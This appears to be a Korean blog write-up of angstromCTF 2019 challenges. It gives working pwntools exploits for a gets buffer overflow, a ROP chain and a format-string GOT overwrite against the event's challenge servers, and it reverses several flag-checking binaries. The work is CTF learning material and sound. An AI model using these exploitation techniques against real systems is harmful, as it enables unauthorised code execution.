본문 바로가기
CTF

[CTF] angstromCTF 2019 Writeup

by snwo 2020. 5. 16.

angstromCTF을 풀어봤습니다.

2019 년에 CTF 를 나가진 않았지만,

서버에서 문제파일을 다운받을수있어서

Writeup 을 작성하게되었습니다


  • binary

aquarium

chain of rope

 

  • rev

Intro to Rev

i like it

one bite

high quality checks



    BINARY    


aquarium

실행하면, 물고기탱크 번호, 사이즈, 물의양, 너비, 길이 높이, 이름을 입력받는다.


NX 가 걸려있지만,

고맙게도 flag를 출력해주는함수가있다.


ulong main(void)

{
  undefined local_58 [52];
  int local_24;
  int local_20;
  int local_1c;
  int local_18;
  int local_14;
  int local_10;
  __gid_t local_c;
  
  local_c = getegid();
  setresgid(local_c,local_c,local_c);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  create_aquarium(local_58);
  local_1c = local_20 * local_24 + local_1c;
  local_14 = local_14 * local_18 * local_10;
  if (local_14 < local_1c) {
    puts("Your fish tank has overflowed!");
  }
  else {
    puts("Nice fish tank you have there.");
  }
  return (ulong)(local_14 < local_1c);
}

main 함수이다. main함수의 버퍼는 52바이트인걸 기억하자.


undefined8 * create_aquarium(undefined8 *param_1)

{
  char local_98 [64];
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined4 local_10 [2];
  
  printf("Enter the number of fish in your fish tank: ");
  __isoc99_scanf(&DAT_0040204d,(long)&local_28 + 4);
  getchar();
  printf("Enter the size of the fish in your fish tank: ");
  __isoc99_scanf(&DAT_0040204d,&local_20);
  getchar();
  printf("Enter the amount of water in your fish tank: ");
  __isoc99_scanf(&DAT_0040204d,(long)&local_20 + 4);
  getchar();
  printf("Enter the width of your fish tank: ");
  __isoc99_scanf(&DAT_0040204d,&local_18);
  getchar();
  printf("Enter the length of your fish tank: ");
  __isoc99_scanf(&DAT_0040204d,(long)&local_18 + 4);
  getchar();
  printf("Enter the height of your fish tank: ");
  __isoc99_scanf(&DAT_0040204d,local_10);
  getchar();
  printf("Enter the name of your fish tank: ");
  gets(local_98);
  strcpy(local_98,(char *)&local_58);
  *param_1 = local_58;
  param_1[1] = local_50;
  param_1[2] = local_48;
  param_1[3] = local_40;
  param_1[4] = local_38;
  param_1[5] = local_30;
  param_1[6] = local_28;
  param_1[7] = local_20;
  param_1[8] = local_18;
  *(undefined4 *)(param_1 + 9) = local_10[0];
  return param_1;
}

지역변수에 각각입력받아서 main함수의 버퍼에 채워넣는다.

물탱크이름을 재외한 모든입력은 getchar() 으로 입력받지만,

이름은 gets 로 입력받아 BOF 가 발생할수있다.

 

이름을 입력받은 버퍼를 local_58 에 복사한다.

그리고, 나머지를 main함수의 버퍼에 채워넣게된다.

 

main함수버퍼말고, create_aquaruim함수의 버퍼를 overflow시키자!


local_98 배열 - ret 까지 거리 = 0x90+8 = 0x98


from pwn import *
r=remote('shell.actf.co',19305)
#r=process("./aquarium")
context.log_level='debug'
b=ELF("./aquarium")

pay=""
pay+='x'*0x98
pay+=p64(b.symbols['flag'])

r.sendline('1')
r.sendline('1')

r.sendline('1')

r.sendline('1')

r.sendline('1')

r.sendline('1')

r.sendline(pay)

r.interactive()


chain of rope

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int userToken = 0;
int balance = 0;

int authorize () {
	userToken = 0x1337;
	return 0;
}

int addBalance (int pin) {
	if (userToken == 0x1337 && pin == 0xdeadbeef) {
		balance = 0x4242;
	} else {
		printf("ACCESS DENIED\n");
	}
	return 0;
}

int flag (int pin, int secret) {
	if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
		printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
		system("/bin/cat flag.txt");
	} else {
		printf("ACCESS DENIED\n");
	}
	return 0;
}

void getInfo () {
	printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	char name [32];
	printf("--== ROPE CHAIN BLACK MARKET ==--\n");
	printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n");
	printf("What would you like to do?\n");
	printf("1 - Set name\n");
	printf("2 - Get user info\n");
	printf("3 - Grant access\n");
	int choice;
	scanf("%d\n", &choice);
	if (choice == 1) {
		gets(name);
	} else if (choice == 2) {
		getInfo();
	} else if (choice == 3) {
		printf("lmao no\n");
	} else {
		printf("I don't know what you're saying so get out of my black market\n");
	}
	return 0;
}

 

친절하게도, c 파일을 주신다.

choice 가 1일때, gets 로 입력을받아 overflow가 발생한다.

 

flag함수에서 flag를 출력해주는데, 인자가있다.

 

pin = 0xba5eba11, secret=0xbedabb1e

이렇게주면되는데,

전역변수인 userToken과 balance도 설정해줘야한다.

 

userToken 은 authorize() 함수로 설정하고,

balance 는 addBalance(0xdeadbeef) 로 설정한다.

(authorize()함수로 userToken을 설정한뒤, addBalance함수를 호출해야한다)

 

authorize() - addBalance(0xdeadbeef) - flag(0xba5eba11,0xbedabb1e) 순서로 리턴하면되겠다.


x64 파일이다.

x64 파일에서는, RDI, RSI, RDX, RCX 순서로 인자를준다.

 

pop rdi ; pop rsi ; ret

pop rdi ; ret

 

위에 두 가젯을 찾으면 되겠다.


0x0000000000401401 : pop rsi ; pop r15 ; ret

0x0000000000401403 : pop rdi ; ret

 

이렇게 가젯을 찾았다. 하지만 내가찾던모양은아니였다.

flag 함수를 호출할때는

 

[pop rdi;ret]

[arg1]

[pop rsi; pop r15; ret]

[arg2]

[dummy]

[flag]

 

이렇게 스택을 쌓아야겠다.

#ret까지 거리는 = 0x30+8 = 0x38


from pwn import *
r=remote('shell.actf.co',19400)
#r=process("./chain_of_rope")

b=ELF('./chain_of_rope')

context.log_level='debug'
psrr=0x0000000000401401
pdr=0x0000000000401403
pay=""
pay+='x'*0x38
pay+=p64(b.symbols['authorize'])
pay+=p64(pdr)
pay+=p64(0xdeadbeef)
pay+=p64(b.symbols['addBalance'])
pay+=p64(pdr)
pay+=p64(0xba5eba11)
pay+=p64(psrr)
pay+=p64(0xbedabb1e)
pay+=p64(0xffffffff)
pay+=p64(b.symbols['flag'])

r.sendline('1')
r.sendline(pay)

r.interactive()

한번에 성공해서 신기하고 좋았다.



purchases

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	char item[60];
	printf("What item would you like to purchase? ");
	fgets(item, sizeof(item), stdin);
	item[strlen(item)-1] = 0;

	if (strcmp(item, "nothing") == 0) {
		printf("Then why did you even come here? ");
	} else {
		printf("You don't have any money to buy ");
		printf(item);
		printf("s. You're wasting your time! We don't even sell ");
		printf(item);
		printf("s. Leave this place and buy ");
		printf(item);
		printf(" somewhere else. ");
	}

	printf("Get out!\n");
	return 0;
}

 

아이템을 입력받고, nothing 이면 왜왓냐고 물어본다.

아니면, 아이템을 출력해주고, 돈이없다고한다.

 

아이템을 출력해줄때 printf(item) 이렇게 서식문자를 사용하지않고 출력하므로

FSB(Format string bug) 가 일어난다.


gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

PIE 가 적용되어있지않으므로,

절대주소를 사용할 수 있다.

FSB 로 원하는주소에 원하는값을 입력할수있다.

 

RELRO 가 Partial 로 설정되어있으니,

puts 의 got 주소를 flag함수로 overwrite하자

(맨밑에 Get out! 을 출력하는함수는, gdb로 봤을때 puts함수이다)


What item would you like to purchase? AAAA %x %x %x %x %x %x %x %x %8$x
You don't have any money to buy AAAA 28ef7540 976448c0 0 20 978564c0 b 9764a660 41414141 41414141s. 

8번째값부터 버퍼값을 출력해준다.

 


0x0000000000401030 <puts@plt+0>: jmp    QWORD PTR [rip+0x2fe2]        # 0x404018

$2 = {<text variable, no debug info>} 0x4011b6 <flag>

 

64bit 파일이니, $ln 으로 0x404018 에 0x4011b6 을 overwrite하자.

(참고 : $hn - short *int (2byte), $n - *int (4byte), $ln - long *int (8byte)

 

0x4011b6 (4198838)

 

payload=%4198838x%10$ln \x18\x40\x40

%4198838x 가 9글자고,

%10$ln+공백 이 7글자이므로

16/8 = 2

8+2 = 10 번째에 \x18\x40\x40 이 위치하게된다.


from pwn import *

#r=remote('shell.actf.co',19011)
r=process("./purchases")
b=ELF('./purchases')

pay=''
pay+='%4198838x'
pay+='%10$ln'
pay+=' '
pay+='\x18\x40\x40'

r.sendline(pay)
r.interactive()


8바이트씩 저장되므로, 공백으로 16바이트를 맞춰줘야

10번째에 0x404018이 오게된다.

 

\x18\x40\x40 다음에 \x00 을 맞춰주지않는이유는

fgets 에서 널문자앞바이트를 잘라주기때문이다 (개행문자)




    REVERSING    


Intro to Rev

 

왼쪽위에서부터 보시면 됩니다.

짤렸지만, fgets 로 입력받은 문자열이 angstrom 이고,

실행시 인자로 준 문자열중, 첫번째문자열은 binary, 두번째문자열은 reversing 일때

flag 를 출력해줍니다.

 

./intro_to_rev binary reversing 

 

이렇게실행하면 플래그가 뜹니다.

물론 우리는 flag.txt 가 없으니,

서버에서 실행하시면됩니다.



i like it

undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  uint local_40;
  uint local_3c;
  char local_38 [15];
  char acStack41 [25];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("I like the string that I\'m thinking of: ");
  fgets(acStack41 + 1,0x14,stdin);
  sVar2 = strlen(acStack41 + 1);
  acStack41[sVar2] = '\0';
  iVar1 = strcmp(acStack41 + 1,"okrrrrrrr");
  if (iVar1 != 0) {
    puts("Cardi don\'t like that.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("I said I like it like that!");
  puts("I like two integers that I\'m thinking of (space separated): ");
  fgets(local_38,0xc,stdin);
  __isoc99_sscanf(local_38,"%d %d",&local_40,&local_3c);
  if (((local_3c + local_40 == 0x88) && (local_3c * local_40 == 0xec7)) &&
     ((int)local_40 < (int)local_3c)) {
    puts("I said I like it like that!");
    printf("Flag: actf{%s_%d_%d}\n",acStack41 + 1,(ulong)local_40,(ulong)local_3c);
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    return 0;
  }
  puts("Cardi don\'t like that.");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

main 함수입니다.

문자열하나입력받고, okr*7 과 비교합니다.

그리고 숫자두개를 입력받습니다. A,B 라고 칭하겠습니다.

주어진조건에 맞으면 actf{okrrrrrrr_A_B} 를 출력해줍니다.

 

A+B = 0x88 ( 136 )

A*B = 0xec7 ( 3783 )

A < B

이라는 조건을 얻을 수 있습니다.

2~136 중 3783 을 나누었을때

나누어떨어지는 수를 찾으면 되겠네요


>>> for i in range(1,136):
...     if float(3783)/i==3783/i:
...         print str(i)+" "+str(3783/i)
... 
1 3783
3 1261
13 291
39 97
97 39

 

이중 더해서 136이되는 두 수는 39, 97입니다.




one bite

flag 를 입력받는다. 문자열비교하는 프로그램이다.


undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  int local_54;
  byte local_48 [40];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Give me a flag to eat: ");
  fgets((char *)local_48,0x22,stdin);
  local_54 = 0;
  while( true ) {
    sVar2 = strlen((char *)local_48);
    if (sVar2 <= (ulong)(long)local_54) break;
    local_48[local_54] = local_48[local_54] ^ 0x3c;
    local_54 = local_54 + 1;
  }
  iVar1 = strcmp((char *)local_48,"]_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA");
  if (iVar1 == 0) {
    puts("Yum, that was a tasty flag.");
  }
  else {
    puts("That didn\'t taste so good :(");
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

문자열을 입력받은뒤, 모든문자를 0x3c 와 XOR 해버립니다.

]_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA

그리고 위 문자열과 비교를합니다.

 

저문자열을 다시 0x3c 와 XOR하면

flag 를 얻을수있을거에요


# encode = s[i]^0x3c

encoded=']_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA'

flag=''

for i in range(len(encoded)):
    flag+=chr(ord(encoded[i])^0x3c)

print flag


high quality checks

undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Enter your input:");
  __isoc99_scanf(&DAT_00400b96,local_28);
  sVar2 = strlen(local_28);
  if (sVar2 < 0x13) {
    puts("Flag is too short.");
  }
  else {
    iVar1 = check(local_28);
    if (iVar1 == 0) {
      puts("That\'s not the flag.");
    }
    else {
      puts("You found the flag!");
    }
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

문자열을 입력받아 check() 함수로 문자열을 체크합니다.

문자열은 0x13 (19) 이상이어야합니다.


undefined8 check(char *param_1)

{
  int iVar1;
  
  iVar1 = d(param_1 + 0xc);
  if ((((((iVar1 != 0) && (iVar1 = v((ulong)(uint)(int)*param_1), iVar1 != 0)) &&
        (iVar1 = u((ulong)(uint)(int)param_1[0x10],(ulong)(uint)(int)param_1[0x11],
                   (ulong)(uint)(int)param_1[0x11]), iVar1 != 0)) &&
       ((iVar1 = k((ulong)(uint)(int)param_1[5]), iVar1 == 0 &&
        (iVar1 = k((ulong)(uint)(int)param_1[9]), iVar1 == 0)))) &&
      ((iVar1 = w(param_1 + 1), iVar1 != 0 &&
       ((iVar1 = b(param_1,0x12), iVar1 != 0 && (iVar1 = b(param_1,4), iVar1 != 0)))))) &&
     ((iVar1 = z(param_1,0x6c), iVar1 != 0 && (iVar1 = s(param_1), iVar1 != 0)))) {
    return 1;
  }
  return 0;
}

함수목록을 보시면, d, v, u, k, w, z, b, s 같은 많은함수가 있습니다.

저코드는 너무 징그러우니, 함수호출하는부분만 추출해보겠습니다 (수작업)


d(st + 0xc) != 0)
v(*st) != 0
u(st[0x10],st[0x11]) != 0

k(st[5]) == 0
k(st[9]) == 0
w(st + 1) != 0
b(st,0x12) != 0
b(st,4) != 0
z(st,0x6c) != 0
s(st)!= 0

잘정리했습니다.

이제 함수하나씩 분석해보죠


[ d(st + 0xc) != 0) ]

ulong d(int *param_1)

{
  return (ulong)(*param_1 == 0x30313763);
}

d+0xc (12)

인덱스 12부터 0x30313763 이란값을가지고있어야합니다

 

abcd=0x64636261

리틀엔디언방식으로 저장되므로

낮은바이트부터 차례대로 읽어야한다.

 

즉, [12] 부터의 값은

c710 이 되어야한다.

 

XXXXXXXXXXXXc710


[ v(*st) != 0 ]

ulong v(byte param_1)

{
  int iVar1;
  
  iVar1 = n(0xac);
  return (ulong)((int)(char)(param_1 ^ 0x37) == iVar1);
}

 

n 함수는 인자를 오른쪽으로 1만큼 쉬프트한값을 리턴합니다.

첫글자 ^ 0x37 == 0xac>>1

이 식을 만족해야합니다.

0xac>>1 = 86

 

첫글자 = 86 ^ 0x37 = 97 (a)

 

aXXXXXXXXXXXc710


[ u(st[0x10],st[0x11]) != 0 ]

 

undefined8 u(char param_1,char param_2)

{
  int iVar1;
  
  iVar1 = n(0xdc);
  if (((int)param_1 == iVar1) && (iVar1 = o((ulong)(uint)(int)param_2), iVar1 == 0x35053505)) {
    return 1;
  }
  return 0;
}

 

[0x10] = 0xdc>>1 = 110 ('n')인덱스 

 

ulong o(char param_1)

{
  int local_c;
  
  if (param_1 < 'a') {
    local_c = (int)param_1 + -0x30;
  }
  else {
    local_c = (int)param_1 + -0x57;
  }
  local_c = (int)param_1 * 0x100 + local_c;
  return (ulong)(uint)(local_c * 0x10001);
}

o 함수입니다.

인자가 'a' (97) 보다 작으면 0x30 을빼고, 아니면 0x57을 뺍니다.

인자 * 0x100 + 인자 - 0x30 or 0x57 * 0x10001 을 리턴합니다.

리턴값이 0x35053505 와 같아야합니다.

 

인자를 x 라 하고, 0x30 을 빼는경우, 0x57 을 빼는경우

각각 연산해서 나누어떨어지는값이 올바른값입니다.

 

256x + x = 0x35053505 / 0x10001 + 0x30 or 0x57

x= 13621 / 257 or 13660 / 257

 

0x30 을 더할때 x=53 으로 나누어떨어지니

[0x11] = 53 ('5')

 

aXXXXXXXXXXXc710n5


[ k(st[5]) == 0 ]
[ k(st[9]) == 0 ]

 

ulong k(char param_1)

{
  int iVar1;
  
  iVar1 = o((ulong)(uint)(int)param_1);
  return (ulong)(iVar1 != 0x660f660f);
}

아까봤던 o함수가 사용됩니다.

인자를 x 라 하면

257x = 0x660f660f / 0x10001 + 0x30 or 0x57

x= ( 26127+0x30 or 0x57 ) / 257

 

0x57 일때 102 ('f') 로 나누어떨어진다.

[5],[9] = 'f'

 

aXXXXfXXXfXXc710n5


[ w(st + 1) != 0 ]

 

ulong w(char *param_1)

{
  return (ulong)((int)*param_1 + (int)param_1[2] * 0x10000 + (int)param_1[1] * 0x100 == 0x667463);
}

문자가 3개있는 방정식이라생각하고 못풀거라 생각했습니다.

하지만 각각 0xff 를 넣어보고 연산을 해보면

0xffffffff 가 나오는걸 알 수 있다.

 

[0] = 0x63

[1] = 0x74

[2] = 0x66

 

하지만, s+1 의 주소를 전달했기때문에 실제 인덱스는 다음과같다.

 

[1] = 0x63 ('c')

[2] = 0x74 ('t')

[3] = 0x66 ('f')

 

actfXfXXXfXXc710n5X


[ b(st,0x12) != 0 ]
[    b(st,4) != 0    ]

 

ulong b(long param_1,uint param_2)

{
  char cVar1;
  int iVar2;
  int iVar3;
  
  cVar1 = *(char *)(param_1 + (int)param_2);
  iVar2 = n(0xf6);
  iVar3 = e((ulong)param_2);
  return (ulong)((int)cVar1 == iVar3 * 2 + iVar2);
}
ulong e(int param_1)

{
  uint uVar1;
  
  uVar1 = (uint)(param_1 >> 0x1f) >> 0x1e;
  return (ulong)(uint)((int)((param_1 + uVar1 & 3) - uVar1) / 2);
}

 

e 함수가 이해가잘 되지 않아서, 디스어셈코드를 봤다.

실제로는

(param_1&3+(param_1&3>>0x1f))>>1

위 연산을 수행하는걸 알 수 있다.

 

4일때는 0을리턴하고, 0x12일때는 1을 리턴한다.

 

[0x4] = 0xf6>>1 = 123 ( '{' )

[0x12] = 0xf6>>1 + 1*2 = 125 ( '} )

 

actf{fXXXfXXc710n5}

 

점점 flag 다워지고있다.


[ z(st,0x6c) != 0 ]

 

undefined8 z(long param_1,char param_2)

{
  char cVar1;
  int iVar2;
  char local_17;
  char local_16;
  uint local_14;
  
  local_17 = '\0';
  local_16 = '\0';
  local_14 = 0;
  while ((int)local_14 < 8) {
    cVar1 = (char)(((int)param_2 & 1 << ((byte)local_14 & 0x1f)) >> ((byte)local_14 & 0x1f));
    if ((local_14 & 1) == 0) {
      local_16 = local_16 + (char)((int)cVar1 << ((byte)((int)local_14 / 2) & 0x1f));
    }
    else {
      local_17 = local_17 + (char)((int)cVar1 << ((byte)((int)local_14 / 2) & 0x1f));
    }
    local_14 = local_14 + 1;
  }
  if ((((*(char *)(param_1 + local_17) == 'u') &&
       (cVar1 = *(char *)(param_1 + (long)local_17 + 1), iVar2 = n(0xdc), (int)cVar1 == iVar2)) &&
      (cVar1 = *(char *)(param_1 + local_16), iVar2 = n(0xea), (int)cVar1 == iVar2)) &&
     (*(char *)(param_1 + (long)local_16 + 1) == 'n')) {
    return 1;
  }
  return 0;
}
param_1[local_17] == 'u')
param_1 [local_17 + 1]) == n(0xdc) ('n')  
param_1[local_16] == n(0xea)  ('u')
param_1[local_16 + 1] == 'n'

조건문을 간단히해봤다.

local_16, local_17 의 값을 구해보자.


   0x0000000000400808 <+155>:	movsx  rdx,BYTE PTR [rbp-0xf]
   0x000000000040080d <+160>:	mov    rax,QWORD PTR [rbp-0x20]
   0x0000000000400811 <+164>:	add    rax,rdx
   0x0000000000400814 <+167>:	movzx  eax,BYTE PTR [rax]
   0x0000000000400817 <+170>:	cmp    al,0x75
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   0x000000000040083f <+210>:	movsx  rdx,BYTE PTR [rbp-0xe]
   0x0000000000400844 <+215>:	mov    rax,QWORD PTR [rbp-0x20]
   0x0000000000400848 <+219>:	add    rax,rdx
   0x000000000040084b <+222>:	movzx  eax,BYTE PTR [rax]
   0x000000000040084e <+225>:	movsx  ebx,al
   0x0000000000400851 <+228>:	mov    edi,0xea
   0x0000000000400856 <+233>:	call   0x400607 <n>
   0x000000000040085b <+238>:	cmp    ebx,eax

윗부분은 param[local_17]=='u' 부분이고

아랫부분은 param[local_16]==n(0xea) 부분이다.

 

local_17 = $rbp-0xf

local_16 = $rbp-0xe

 

local_17 = 6

local_16 = 10

 

[6][7] = 'un'

[10][11] = 'un'

 

actf{funXfunc710n5}


[ s(st)!= 0 ]

 

ulong s(long param_1)

{
  int iVar1;
  int local_10;
  int local_c;
  
  local_10 = 0;
  local_c = 0;
  while (local_c < 0x13) {
    iVar1 = o((ulong)(uint)(int)*(char *)(param_1 + local_c));
    if (iVar1 == 0x5f2f5f2f) {
      local_10 = local_10 + local_c + 1;
    }
    local_c = local_c + 1;
  }
  return (ulong)(local_10 == 9);
}

문자열하나씩 가져와 조건에 맞는지 검사한다

조건 : x=( 0x5f2f5f2f / 0x10001 + 0x30 or 0x57 ) / 257

조건에 맞는 인덱스에 1을더한값이 9가 되어야하니

인덱스는 마지막남은 X인 8인걸 알 수 있다.

 

0x30 을 더해서 나누었을때

95 로 나누어진다.

 

[8] = 95 ( '_' )


최종 FLAG

 

actf{fun_func710n5}



읽어주셔서 감사합니다